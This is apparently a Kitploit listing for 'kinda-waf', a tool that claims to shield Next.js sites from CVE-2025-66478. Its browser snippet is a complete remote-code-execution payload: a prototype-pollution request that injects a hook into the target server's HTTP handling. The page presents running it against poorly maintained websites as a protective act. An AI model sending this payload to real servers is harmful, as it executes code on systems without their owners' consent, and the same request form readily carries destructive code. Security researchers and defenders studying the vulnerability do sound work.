CVE-2025-66478-kinda-waf — Let's help websites stay safe until they are properly patched! | Kitploit

kinda-waf

Simple, temporary WAF protection tester targeting a specific payload sequence.

Let's help websites stay safe until they are properly patched!

Purpose

Protect from CVE-2025-66478 by detecting and blocking requests containing specific payload signatures. This shouldn't break legitimate traffic and save the websites that are not properly maintained

And it resets after restart, so it's not a permanent solution

Requirements

Python 3

Usage

Run the script (default localhost):

python main.py

Run with a specific URL:

python main.py http://example.com/

And version to run in browser:

const formData = new FormData();

const actionPayload = {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw(async()=>{const t=await import(\"node:http\"),e=t.IncomingMessage.prototype.emit;t.IncomingMessage.prototype.emit=function(t,...n){if(\"data\"===t&&n.length>0){const t=this.headers[\"content-type\"]||\"\";if(t.includes(\"multipart\")||t.includes(\"json\")||t.includes(\"text\")){const t=n[0].toString(\"utf8\");if(t.includes('\"then\":\"$1:__proto__:then\"')||t.includes('\"get\":\"$1:constructor:constructor\"')){const t=this.socket._httpMessage;if(t&&!t.headersSent)try{return t.writeHead(500,{\"Content-Type\":\"text/plain; charset=utf-8\",Connection:\"close\",\"X-Powered-By\":\"Next.js\"}),t.end('0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"cwwYVM2ZWm4vgZG3xVPfk\"}\\n1:E{\"digest\":\"2494231801\"}',(()=>this.destroy())),!1}catch(t){this.destroy()}else this.destroy();return!1}}}return e.apply(this,arguments)}})(),Object.assign(new Error(\"x\"),{digest:\"WAF Installed\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

formData.append("0", JSON.stringify(actionPayload));
formData.append("1", '"$@0"');
formData.append("2", "[]");

fetch("/", {
  method: "POST",
  body: formData,
  headers: {
    "Next-Action": "x",
  }
})
  .then(async res => console.log(await res.text()));

CVE-2025-66478-kinda-waf

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